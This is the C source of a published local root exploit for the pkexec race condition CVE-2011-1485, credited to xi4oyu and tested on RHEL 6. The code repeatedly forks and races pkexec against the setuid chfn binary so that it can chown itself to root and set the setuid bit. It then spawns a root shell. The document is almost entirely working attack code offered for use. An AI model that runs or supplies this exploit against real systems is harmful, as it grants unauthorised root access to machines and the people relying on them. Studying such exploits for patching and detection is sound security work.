pkexec Race Condition Privilege Escalation Exploit

/*
* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit
* Author: xi4oyu
* Tested on: rhel 6
* CVE : 2011-1485
* Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~
¡Á U can reach us  @ http://www.wooyun.org :)
*/
#include <stdio.h>
#include <limits.h>
#include <time.h>
#include <unistd.h>
#include <termios.h>
#include <sys/stat.h>
#include <errno.h>
#include <poll.h>
#include <sys/types.h>
#include <stdlib.h>
#include <string.h>

int main(int argc,char *argv[], char ** envp)
{
 
 time_t tim_seed1;
 pid_t pid_seed2;
 int result;
 struct stat stat_buff;
 
 char * chfn_path = "/usr/bin/chfn";
 char cmd_buff[4096];
 
 char * pkexec_argv[] = {
  "/usr/bin/pkexec",
  "/bin/sh",
  "-c",
  cmd_buff,
  NULL
 };
 int pipe1[2];
 int pipe2[2];
 int pipe3[2]; 
 pid_t pid,pid2 ;
 char * chfn_argv[] = {
  "/usr/bin/chfn",
  NULL
 };

 char buff[8];
 char read_buff[4096];
 char real_path[512]; 
 struct termios termios_p;
 
 int count = 0;
 int flag = 0;
 int usleep1 = 0;
 int usleep2 = 0;

 
 bzero(cmd_buff,4096);
 bzero(real_path,512);
 realpath(argv[0],real_path);
 
 tim_seed1 = time(NULL);
 pid_seed2 = getpid();
 srand(tim_seed1+pid_seed2);
 

 
 
 //get terminal attr
 tcgetattr(0,&termios_p);
 snprintf(cmd_buff,4095,"/bin/chown root:root %s; /bin/chmod 4755 %s",real_path,real_path);
// printf("Cmd line:%s",cmd_buff);
 if(! geteuid()){
 //Succs => r00t!
  char * exec_argv[2]={
   "/bin/sh",
   NULL
  };
  setuid(0);
  setgid(0);
  execve("/bin/sh",exec_argv,0);
  perror("execve shell");
  exit(-1);
 }

 printf("pkexec local root exploit by xi4oyu , thx to dm\n");
 
 if(pipe(pipe1)){
  perror("pipe");
  exit(-2);
 }
 
 for(count = 500; count && !flag; count--){
 
 // printf("Count %d\n",count);
  pid = fork();
  if( !pid ){
   // Parent
   if( !pipe(pipe2)){
   
    if(!pipe(pipe3)){
     pid2 = fork();
     if(!pid2){
      // Parent 2
      close(1);
      close(2);
      close(pipe1[0]);
      dup2(pipe1[1],2);
      dup2(pipe1[1],1);
      close(pipe1[1]);
      close(pipe2[0]);
      close(pipe3[1]);
      write(pipe2[1],"\xFF",1);
      read(pipe3[0],&buff,1);
          
      execve(pkexec_argv[0],pkexec_argv,envp);
      perror("execve pkexec");
      exit(-3);
     
     }
     close(0);
     close(1);
     close(2);
     close(pipe2[1]);
     close(pipe3[0]);
     read(pipe2[0],&buff,1);
     write(pipe3[1],"\xFF",1);
     usleep(usleep1+usleep2);

     execve(chfn_argv[0],chfn_argv,envp);
     perror("execve setuid");
     exit(1);
    }
    

   }
   perror("pipe3");
   exit(1);    
  }
  
  //Note: This is child, no pipe3 we use poll to monitor pipe1[0]
  memset(pipe3,0,8);
  
  struct pollfd * pollfd = (struct pollfd *)(&pipe3);
  pollfd->fd = pipe1[0];
  pollfd->events =  POLLRDNORM;
  
  if(poll(pollfd,1,1000) < 0){
  
   perror("poll");
   exit(1);
  }
  
  if(pollfd->revents & POLLRDNORM ){
   memset(read_buff,0,4096);
   read(pipe1[0],read_buff,4095);
   if( strstr(read_buff,"does not match")){
    usleep1 += 500;
    usleep2 = rand() % 1000;
   
   }else{
    usleep1 -= 500;
    
   
   }
  
  
  }
  
  if(!stat(real_path,&stat_buff)){
   if(!stat_buff.st_uid){
    if(!stat_buff.st_gid){
     if(stat_buff.st_mode & 0x800){
      
      char *exec_array[]={
       real_path,
       NULL
      };
      
      flag = 1;
      tcsetattr(0,2,&termios_p);
      execve(real_path,exec_array,0);
      perror("execve self");
      exit(1);
     }
    }
   
   }
  }
  
  tcsetattr(0,2,&termios_p);
 
 }
  result = 0;
  return result;

}